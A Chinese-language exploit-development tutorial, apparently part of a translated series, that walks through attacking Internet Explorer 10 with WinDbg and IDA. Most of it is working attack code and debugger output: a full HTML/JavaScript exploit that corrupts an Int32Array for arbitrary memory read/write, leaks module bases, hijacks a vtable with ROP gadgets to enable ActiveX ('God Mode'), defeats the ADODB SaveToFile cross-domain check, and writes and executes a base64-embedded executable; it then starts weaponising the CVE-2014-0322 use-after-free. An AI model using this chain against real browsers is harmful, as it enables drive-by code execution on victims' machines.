我们将runcalc进行了部分省略.你可以从附件中下载完整的代码.


如果你不使用SimpleServer在IE中打开该html文件,一切都将正常运作.但是如果你用了SimpleServer并且在IE中通过转到127.0.0.1打开该页面,则就失败.我们将看到跟之前一样的错误消息:









跨域


其中引发错误的一行代码如下:


    function createExe(fname, data) {
      GodModeOn();     // 开启上帝模式!
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();    // 关闭上帝模式!
 
    tStream.Type = 2;       // 文本
    bStream.Type = 1;       // 二进制
    tStream.Open();
    bStream.Open();
    tStream.WriteText(data);
    tStream.Position = 2;       //  跳过tStream前两个字节(它们是什么呢?)
    tStream.CopyTo(bStream);
    bStream.SaveToFile(fname, 2);    //这里出错了
    tStream.Close();
    bStream.Close();
    }



错误消息为”SCRIPT3716:此计算器上的安全设置禁止访问其它域的数据源.”.所以,我们用SimpleServer重新加载我们的html页面,修改Int32Array的长度,让该代码抛出错误.我们注意到,有一些额外的模块被加载了:


ModLoad: 0eb50000 0eb71000   C:\Windows\SysWOW64\wshom.ocx
ModLoad: 749d0000 749e2000   C:\Windows\SysWOW64\MPR.dll
ModLoad: 0eb80000 0ebaa000   C:\Windows\SysWOW64\ScrRun.dll
ModLoad: 0ebb0000 0ec0f000   C:\Windows\SysWOW64\SXS.DLL
ModLoad: 6e330000 6e429000   C:\Program Files (x86)\Common Files\System\ado\msado15.dll   <-------------
ModLoad: 72f00000 72f1f000   C:\Windows\SysWOW64\MSDART.DLL
ModLoad: 6e570000 6e644000   C:\Program Files (x86)\Common Files\System\Ole DB\oledb32.dll
ModLoad: 74700000 74717000   C:\Windows\SysWOW64\bcrypt.dll
ModLoad: 72150000 72164000   C:\Program Files (x86)\Common Files\System\Ole DB\OLEDB32R.DLL
ModLoad: 738c0000 738c2000   C:\Program Files (x86)\Common Files\System\ado\msader15.dll   <-------------
(15bc.398): C++ EH exception - code e06d7363 (first chance)
(15bc.398): C++ EH exception - code e06d7363 (first chance)


这两个模块看起来特别有意思:msado15.dll和msader15.dll.它们位于ado所在的目录.不需要刻意的去理解,但至少要怀疑一下,这些模块与ADODB相关.


我们来看看是否能够在这两个模块中的其中之一中找到一个名为SaveToFile的函数:


0:020> x msad*!*savetofile*
5be29ded          msado15!CStream::SaveToFile (<no parameter info>)
5be0cf19          msado15!CRecordset::SaveToFile (<no parameter info>)


这第一个函数好像是我们要寻找的.我们对它设置一个断点,并且重新加载该页面.正如我们所希望的,断在了msado15!Cstream::SaveToFile处.该函数名称表明该模块是用C++编写的,并且SaveToFile是Cstream类的方法.ESI应该指向了该类的一个对象:


0:007> dd esi
0f2a20a8  5bdafd28 5bdafd00 5bdafcf0 5bd7acd8
0f2a20b8  00000004 00000000 00000000 00000000
0f2a20c8  00000000 00000000 00000000 5bdafce0
0f2a20d8  5bd7acc0 5bdafccc 00000000 00000705
0f2a20e8  00000001 0577225c 00000000 5bdafc94
0f2a20f8  0f2a2138 00000000 0f2a2188 00000000
0f2a2108  00000001 ffffffff 00000000 00000000
0f2a2118  00000007 000004b0 00000000 00000000
0:007> ln poi(esi)
(5bdafd28)   msado15!ATL::CComObject<CStream>::`vftable'   |  (5bdafdb8)   msado15!`CStream::_GetEntries'::`2'::_entries
Exact matches:
    msado15!ATL::CComObject<CStream>::`vftable' = <no type information>


OK,看来我们步入了正轨.


现在,我们来单步跟踪SaveToFile,看看究竟是哪里导致的失败.在我们跟踪的过程中遇到了一个非常有意思的call:


5be2a0a9 0f8496000000    je      msado15!CStream::SaveToFile+0x358 (5be2a145)
 
msado15!CStream::SaveToFile+0x2c2:
5be2a0af 50              push    eax
5be2a0b0 53              push    ebx
5be2a0b1 e88f940000      call    msado15!SecurityCheck (5be33545)      <-----------------
5be2a0b6 83c408          add     esp,8
5be2a0b9 85c0            test    eax,eax
5be2a0bb 0f8d84000000    jge     msado15!CStream::SaveToFile+0x358 (5be2a145)



SecurityCheck有两个参数.我们首先来检查第一个参数:


0:007> dd eax
04e4c2bc  00740068 00700074 002f003a 0031002f
04e4c2cc  00370032 0030002e 0030002e 0031002e
04e4c2dc  0000002f 00650067 00000000 6ff81c09
04e4c2ec  8c000000 000000e4 00000000 00000000
04e4c2fc  0024d46c 0024d46c 0024cff4 00000013
04e4c30c  00000000 0000ffff 0c000001 00000000
04e4c31c  00000000 6ff81c30 88000000 00000001
04e4c32c  0024eee4 00000000 6d74682f 61202c6c



恩…看起来像是个Unicode字符串.我们来看看我们的猜测是否正确:


0:007> du eax
04e4c2bc  "http://127.0.0.1/"



是该页面的URL!那ebx是什么呢?我们来看一看:


0:007> dd ebx
001d30c4  003a0043 0055005c 00650073 00730072
001d30d4  0067005c 006e0061 00610064 0066006c
001d30e4  0041005c 00700070 00610044 00610074
001d30f4  004c005c 0063006f 006c0061 0054005c
001d3104  006d0065 005c0070 006f004c 005c0077
001d3114  00750072 0063006e 006c0061 002e0063
001d3124  00780065 00000065 00000000 00000000
001d3134  40080008 00000101 0075006f 00630072
0:007> du ebx
001d30c4  "C:\Users\gandalf\AppData\Local\T"
001d3104  "emp\Low\runcalc.exe"



这是我们正试图创建文件的全路径.难道这两个URL/路径与错误信息中提到的域相关?可能这两个域分别是http://127.0.0.1和C:\.


有可能,SecurityCheck检查的是这两个参数是不是表示的同一个域.


我们来看看如果我们将第二个参数修改了会发生什么:


0:007> ezu @eax "C:\\"
0:007> du @eax
04e4c2bc  "C:\"



ezu命令用于编辑以空字符作为结束符的Unicode字符串.现在,我们修改了第二个参数,我们恢复执行,看看会发生什么.


计算器弹出来了!!!太棒了!!!


现在,我们需要找到一种方法让javascript代码完成与上面相同的工作.这能实现吗?最好的办法是我们用IDA反汇编一下msado15.dll.IDA初始分析完毕以后,我们就搜索SecurityCheck这个函数了(CTRL+P并且单击Search按钮),然后单击SecurityCheck的名称,按CTRL+X,并且双击CStream::SaveToFile.SaveToFile这个函数非常庞大,但是我们不用太担心.我们只需要分析其中的一小部分.我们从跟踪第二个参数入手:





正如我们所看到的,EAX来自[ESI+44h].ESI应该是this指针,指向了当前的CStream对象,但是我们还是得确认一下.为了更好的分析该图示,我们可以将调用SecurityCheck这个节点下方的所有节点合并.为了做到这一点,我们可以通过按住CTRL键,接着滚动鼠标滚轮来缩小图示,按住CTRL建,用鼠标左键选中节点,最后,在选中的组节点上单击鼠标右键.精简后的图示如下:














很明显了,ESI确实是this指针.很好,这样的话,我们javascript中bStream变量很可能指向了相同的对象.我们来看看我们的猜想是否正确.我们验证我们的猜想,我们可以通过像下面这样修改我们的javascript代码,也就是利用信息泄露来获取bStream的信息.


    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // 文本
      bStream.Type = 1;       // 二进制
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // 跳过tStream前两个字节(它们是什么呢?)
      tStream.CopyTo(bStream);
      alert(get_addr(bStream).toString(16));        // <-----------------------------
      bStream.SaveToFile(fname, 2);       // 2 =  如果已经存在就覆盖之
      tStream.Close();
      bStream.Close();
    }


用SimpleServer,在IE中加载该页面,在WinDbg中对SaveToFile设置一个断点:


bm msado15!CStream::SaveToFile


alert消息框将会弹出bStream的地址.我这里,bStream的地址为3663f40h.我们关闭alert消息框以后,该断点就触发了.CStream的地址为ESI,我这里是0e8cb328h.我们来检查一下位于3663f40h地址处的内存(我们的bStream):


0:007> dd 3663f40h
03663f40  71bb34c8 0e069a00 00000000 0e5db030
03663f50  05a30f50 03663f14 032fafd4 00000000
03663f60  71c69a44 00000008 00000009 00000000
03663f70  0e8cb248 00000000 00000000 00000000
03663f80  71c69a44 00000008 00000009 00000000
03663f90  0e8cb328 00000000 00000000 00000000    <------------- CStream的指针!
03663fa0  71c69a44 00000008 00000009 00000000
03663fb0  0e8cb248 00000000 00000000 00000000


我们可以看到,在偏移0x50的位置我们可以定位到位于msado15.dll中的CStream对象的SaveToFile方法的指针.我们来看看是否能定位到字符串http://127.0.0.1,这是我们想修改的其中之一:


0:007> ? poi(3663f40+50)
Evaluate expression: 244101928 = 0e8cb328
0:007> du poi(0e8cb328+44)
04e5ff14  "http://127.0.0.1/"



完美!


现在,我们必须要确定我们想覆盖的原始字符串的确切字节.这里有一种简便的方法:


0:007> ezu 04e5ff14 "C:\\"
0:007> dd 04e5ff14
04e5ff14  003a0043 0000005c 002f003a 0031002f
04e5ff24  00370032 0030002e 0030002e 0031002e
04e5ff34  0000002f 00000000 00000000 58e7b7b9
04e5ff44  8e000000 00000000 bf26faff 001a8001
04e5ff54  00784700 00440041 0044004f 002e0042
04e5ff64  00740053 00650072 006d0061 df6c0000
04e5ff74  0000027d 58e7b7be 8c000000 00000000
04e5ff84  00c6d95d 001c8001 00784300 00530057


所以,我们需要覆盖003a0043 0000005c这个字符串.


像下面这样修改代码:


function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // 文本
      bStream.Type = 1;       // 二进制
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // 跳过tStream前两个字节(它们是什么呢?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      bStream.SaveToFile(fname, 2);     // 2 =  如果已经存在就覆盖之
      
      tStream.Close();
      bStream.Close();
    }



在IE中加载该页面,最后,一切都正常了！


完整的代码如下:


<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // 从1字节写入到读/写整个进程地址空间
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // .
    // .
    // .
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte ArrayBuffer (buf)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // 必须为恰好为0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead(数组数据头部)
    //   0x20:  array[0] address(地址)
    //   0x24:  array[1] address(地址)
    //   ...
    // 0xf000:  Int32Array(32位整数类型数组)
    // 0xf030:  Int32Array(32位整数类型数组)
    //   ...
    // 0xffc0:  Int32Array(32位整数类型数组)
    // 0xfff0:  对齐的数据
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //           虚表指针
    // 0c0af000 6b623718 030098a0 00000000 00000003 00000004 00000000 00000016 02a83ae0
    // 0c0af020 0301ddc0                                              array_len buf_addr
    //          jsArrayBuf                                           (数组长度)(缓冲区地址)
    alert("Set byte at 0c0af01b to 0x20");
    
    // 现在我们来定位我们要修改其长度的Int32Array.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // 这仅仅是一个例子.
    // 起始于02a83b40地址处的Int32Array类型的缓冲区占0x58字节.
    // 接下来的LargeHeapBlock,前面8字节的头部,起始于02a83b40.
    // 括号中的值,位于02a83ae0+0x60+0x24,指向了下一个LargeHeapBlock.
    //
    // 02a83ae0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b20 00000000 00000000 00000000 00000000 00000000 00000000 6dc720aa 8c00ffff
    // 02a83b40 6b621b0c 00000003 06790000 00000010 00000001 00000000 00000004 0679f020
    // 02a83b60 067a0000 02a83ba0 00000000 00000001 00000001 00000000 02a53658 06790000
    // 02a83b80 00000000 00000000 00000000 00000004 00000001 029fda9c 6dc720be 8c000000
    // 02a83ba0: ...
 
    // 我们检查上面的结构是否正确(我们检查第一个LargeHeapBlock).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x1b0c || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // 现在我们再次修改int32array以此来逐步读/写整个地址空间.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // 新长度
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // 新缓冲区地址
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... 或者 ..## ##.. 或者 ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... 或者 ..## ##.. 或者 ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // 上帝模式
    //---------
    
    // 从0c0af000地址处我们可以读取Int32Array的虚表指针.
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3718
    jscript9 = read(0x0c0af000) - 0x3718;
    
    // 现在我们需要确定MSHTML的基地址.我们可以创建一个HTML
    // 对象,写入对应于我们其中一个数组的最后一个元素的引用(地址为0x0c0af000-4)
    // 定位位于0x0c0af000-4地址处的数组.                                         
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    //我们向我们其中一个数组的最后一个位置写入3.IE浏览器会将数字x
    //编码为2*x+1,这样就可以将地址(以dword对齐的)和数字区分开.
    //我们要么使用奇数,要么使用有效的地址,不然的话,IE浏览器将在
    //下面的循环中崩溃掉.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // 回头来确定MSHTML的基地址...
    // 开始处的元素div如下:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x126e23
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x126e23;
 
    // 我们想用jscript9+0xf4d84覆盖掉mshtml+0xc57750+0x14地址处的DWORD值:
    //  *mshtml + 0xc57750是我们想要修改的虚表项的地址;
    //  *jscript9+0xf4d84指向了代码"leave / ret 4".
    // 其结果是,jscript9!ScriptEngine::CanObjectRun返回true. 
 
 
     //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x000c39ce| --> "XCHG EAX,ESP | ADD EAX,5c563dc0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0x000f4a54 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x1503cc | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0x100b52  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0x000f4a54 | --> "LEAVE | RET 4"
    //          +-------------------+
 
    // 如果我们“write(pp_obj,X)”,则我们将在CanCreateObject让EAX=X
    
    var old = read(mshtml+0xc57750+0x14);
 
    write(mshtml+0xc57750+0x14, jscript9+0xf4d84);      // 开启上帝模式!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc57750+0x14, old);                   // 关闭上帝模式!
 
    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // 指向对象指针的指针
        
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // 创建新的虚表.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x0c39ce;
    new_vftable[0x14/4] = jscript9+0x0f4a54;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // 指向new_vftable的原始缓冲区
    
    // 创建新的对象.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x1503cc;
    new_object[2] = jscript9 + 0x100b52;
    new_object[3] = jscript9 + 0x0f4a54;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // 指向new_object的原始缓冲区
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
 
    
    // 以base64加密的exe文件的内容.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAA <省略> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // 文本
      bStream.Type = 1;       // 二进制
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // 跳过tStream前两个字节(它们是什么呢?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      bStream.SaveToFile(fname, 2);     // 2 =  如果已经存在就覆盖之
      
      tStream.Close();
      bStream.Close();
    }
 
    function decode(b64Data) {
    var data = window.atob(b64Data);
 
    // 现在数据像这样子
    //   11 00 12 00 45 00 50 00 ...
    // 而不是像这样
    //   11 12 45 50 ...
    // 我们来修复一下!
    var arr = new Array();
    for (var i = 0; i < data.length / 2; ++i) {
      var low = data.charCodeAt(i*2);
      var high = data.charCodeAt(i*2 + 1);
      arr.push(String.fromCharCode(low + high * 0x100));
    }
    return arr.join('');
    }
    
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
     
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>


跟之前一样,我将runcalc进行部分省略.你可以在附件中下载完整的代码.





















IE10-UAF漏洞


截至到目前为止,我们都是依靠WinDbg来修改Int32Array的长度从而实现读/写整个IE进程的地址空间的.是时候找一个UAF来完成我们的漏洞利用了.


我选择CVE-2014-0322这份UAF漏洞代码.如果你想了解更多的信息,你可以Google.能导致崩溃的POC如下:


<!-- CVE-2014-0322 -->
<html>
<head>
</head>
<body>
<script>
function handler() {
  this.outerHTML = this.outerHTML;
}
 
function trigger() {
    var a = document.getElementsByTagName("script")[0];
    a.onpropertychange = handler;
    var b = document.createElement("div");
    b = a.appendChild(b);
}
 
trigger();
</script>
</body>
</html>



拷贝,粘贴该代码到html文件中,在IE10中打开它.如果你这么做,你将会发现IE并没有崩溃.哪里出错了呢?




Gflags


在WinDbg的同一目录下,我们可以找到gflags.exe,这个小工具可以用于改变Windows的全局标志(Global Flags).这些标志影响着Windows的行为,并且在调试过程中可以起到很大的帮助作用.我们对两个标志特别感兴趣:


1.      
HPA - Heap Page
Allocator(堆分页分配器)


2.      
UST – User mode Stack Trace(用户态栈回溯)


HPA标志告知Windows使用一种特殊版本的堆分配器,该堆分配器有助于检查UAF,缓冲区溢出,和其他一些类型的bug.其工作原理是分配一块块单独的一组连续的分页(多少取决于块的长度),使得块的尾部和最后一页的尾部重合.已分配内存块后面的第一个分页被标记为不存在.通过这种方式,很容易有效地检测到缓冲区溢出.此外,当一个块被释放时,所有包含它的页面都被标记为不存在.这样的话,UAF也是很容易检测的.


请看下图:





一个分页为0x1000字节=4KB.如果已分配的块少于4KB,它的大小可以很容易的由它的地址通过一个简单的公式确定:


size(addr) = 0x1000 - (addr & 0xfff)


该公式成立是因为该块被分配在了包含它的分页尾部.请看下图:





第二个标志,UST,告知Windows,当有堆块被分配或者释放的时候,保存当前调用堆栈的栈回溯.这对于查看函数和执行路径导致的特定分配或者释放是非常有用的.我们在分析这个UAF漏洞的时候会看到一个例子.


全局标志不仅仅可以针对全局进行修改,也可以在每个映像文件的基础上进行修改.这里我们仅仅想为iexplore.exe启用HPA和UST标志,所以我们要选择后者.


运行gflags.exe,转到Image
File(映像文件)标签页,插入映像名称并且勾选上下图中的两个标志:







获得崩溃


现在,在IE中加载该POC,你应该会看到IE崩溃掉了.如果我们在WinDbg中调试IE,同样加载该POC,我们会看到哪条指令产生了异常:


64fd4f70 e8ae24eeff      call    MSHTML!CTreePos::SourceIndex (64eb7423)
64fd4f75 8d45a8          lea     eax,[ebp-58h]
64fd4f78 50              push    eax
64fd4f79 8bce            mov     ecx,esi
64fd4f7b c745a804000000  mov     dword ptr [ebp-58h],4
64fd4f82 c745c400000000  mov     dword ptr [ebp-3Ch],0
64fd4f89 c745ac00000000  mov     dword ptr [ebp-54h],0
64fd4f90 c745c028000000  mov     dword ptr [ebp-40h],28h
64fd4f97 c745b400000000  mov     dword ptr [ebp-4Ch],0
64fd4f9e c745b000000000  mov     dword ptr [ebp-50h],0
64fd4fa5 c745b8ffffffff  mov     dword ptr [ebp-48h],0FFFFFFFFh
64fd4fac c745bcffffffff  mov     dword ptr [ebp-44h],0FFFFFFFFh
64fd4fb3 e82524eeff      call    MSHTML!CMarkup::Notify (64eb73dd)
64fd4fb8 ff4678          inc     dword ptr [esi+78h]  ds:002b:0bb8bd38=????????     <---------------
64fd4fbb 838e6001000004  or      dword ptr [esi+160h],4
64fd4fc2 8bd6            mov     edx,esi
64fd4fc4 e80f952000      call    MSHTML!CMarkup::UpdateMarkupContentsVersion (651de4d8)
64fd4fc9 8b8698000000    mov     eax,dword ptr [esi+98h]
64fd4fcf 85c0            test    eax,eax
64fd4fd1 7416            je      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (64fd4fe9)
64fd4fd3 81bea4010000905f0100 cmp dword ptr [esi+1A4h],15F90h
64fd4fdd 7c0a            jl      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (64fd4fe9)
64fd4fdf 8b4008          mov     eax,dword ptr [eax+8]
64fd4fe2 83a0f0020000bf  and     dword ptr [eax+2F0h],0FFFFFFBFh
64fd4fe9 8d7dd8          lea     edi,[ebp-28h]



ESI看起来像悬垂指针.


栈回溯如下:


0:009> k 10
ChildEBP RetAddr  
098db580 64fd56e5 MSHTML!CMarkup::NotifyElementEnterTree+0x266
098db5c4 64fd5559 MSHTML!CMarkup::InsertSingleElement+0x169
098db6a4 64fd525c MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
098db6c8 64fd521e MSHTML!CMarkup::InsertElementInternal+0x2e
098db708 64fd5331 MSHTML!CDoc::InsertElement+0x9c
098db7d0 65316bec MSHTML!InsertDOMNodeHelper+0x454
098db83c 65316af6 MSHTML!CElement::InsertBeforeHelper+0x92
098db89c 6531712c MSHTML!CElement::InsertBeforeHelper+0xe5
098db8bc 653174b7 MSHTML!CElement::InsertBefore+0x36
098db948 653173d0 MSHTML!CElement::Var_appendChild+0xcb
098db978 6b024b32 MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
098db9e0 6b0001ed jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
098dbb74 6afff4f1 jscript9!Js::InterpreterStackFrame::Process+0xab4
098dbc8c 0bf90fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
098dbc98 6b000b2a 0xbf90fe1
098dbe24 6afff4f1 jscript9!Js::InterpreterStackFrame::Process+0x1bd7


我们来确定(当前释放)对象的尺寸:


0:009> ? 1000 - (@esi & fff)
Evaluate expression: 832 = 00000340


当然,我们假设该对象的尺寸小于0x1000.最后,借助于UST标志得到的栈回溯的例子如下:


0:009> !heap -p -a @esi
    address 0bb8bcc0 found in
    _DPH_HEAP_ROOT @ 331000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    bb52d34:          bb8b000             2000
    6bcf90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    771c1564 ntdll!RtlDebugFreeHeap+0x0000002f
    7717ac29 ntdll!RtlpFreeHeap+0x0000005d
    771234a2 ntdll!RtlFreeHeap+0x00000142
    74d314dd kernel32!HeapFree+0x00000014
    64e9aa0a MSHTML!CMarkup::`vector deleting destructor'+0x00000026
    64e213ff MSHTML!CBase::SubRelease+0x0000002e
    64e3260a MSHTML!CMarkup::Release+0x0000002d
    652fc67b MSHTML!InjectHtmlStream+0x0000070d
    652fcbfb MSHTML!HandleHTMLInjection+0x00000082
    65320fe4 MSHTML!CElement::InjectInternal+0x00000506
    65321215 MSHTML!CElement::InjectTextOrHTML+0x000001a4
    6516778c MSHTML!CElement::put_outerHTML+0x0000001d   <-----------------------------------
    6516774b MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054   <------------------------
    6b024b32 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
    6b025456 jscript9!Js::JavascriptOperators::SetProperty+0x0000026d
    6b025549 jscript9!Js::JavascriptOperators::CallSetter+0x0000006c
    6b082725 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a1
    6b02ebde jscript9!Js::InterpreterStackFrame::Process+0x00000f96
    6afff4f1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305



这证明ESI的确是一个悬垂指针.这些函数名称表明执行这个赋值的时候该对象被释放了


this.outerHTML = this.outerHTML;



在这个handler函数中.这意味着,在这个赋值之后我们应该分配新的对象来替代位于内存中旧的对象.在之前的exploitme5这一章节中(堆喷射&UAF)我们已经看过了UAF漏洞是如何被利用的,所以我这里就不再赘述了.


我们需要做的就是分配一个对象(与被释放的对象具有相同的尺寸).通过这种方式,新的对象将在被释放对象所在内存单元中相同的位置处分配.我们知道,该对象占0x340字节,所以我们可以创建一个占0x340/2-1=0x19f=415wchar以空字符作为结束符的Unicode字符串.


首先,我们来定位到崩溃确切的点:


0:009> !address @eip
 
                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
 
 
Usage:                  Image
Base Address:           64de1000
End Address:            65a2b000
Region Size:            00c4a000
State:                  00001000    MEM_COMMIT
Protect:                00000020    PAGE_EXECUTE_READ
Type:                   01000000    MEM_IMAGE
Allocation Base:        64de0000
Allocation Protect:     00000080    PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\system32\MSHTML.dll
Module Name:            MSHTML
Loaded Image Name:      C:\Windows\system32\MSHTML.dll
Mapped Image Name:      
More info:              lmv m MSHTML
More info:              !lmi MSHTML
More info:              ln 0x64fd4fb8
More info:              !dh 0x64de0000
 
 
0:009> ? @eip-mshtml
Evaluate expression: 2052024 = 001f4fb8


所以异常是在mshtml+0x1f4fb8地址处产生的.现在关闭WinDbg和IE,重新运行它们,在IE中打开该POC,在WinDbg中对崩溃点设置一个断点:


bp mshtml+0x1f4fb8


现在,在IE中允许被阻止的内容,在异常产生之前该断点应该就触发了.这看起来很容易,但并不总是如此.有时在异常产生之前,同一段代码会被执行数百次.


现在我们可以尝试为新对象分配适当的大小.按照如下的样子修改POC:


<!-- CVE-2014-0322 -->
<html>
<head>
</head>
<body>
<script>
function handler() {
  this.outerHTML = this.outerHTML;
  elem = document.createElement("div");
  elem.className = new Array(416).join("a");        // 生成带有415个"a"的字符串非常好用的技巧
}
 
function trigger() {
    var a = document.getElementsByTagName("script")[0];
    a.onpropertychange = handler;
    var b = document.createElement("div");
    b = a.appendChild(b);
}
 
trigger();
</script>
</body>
</html>



注意,这里用到了一种非常好的技巧来创建一个带有415个”a”的字符串!


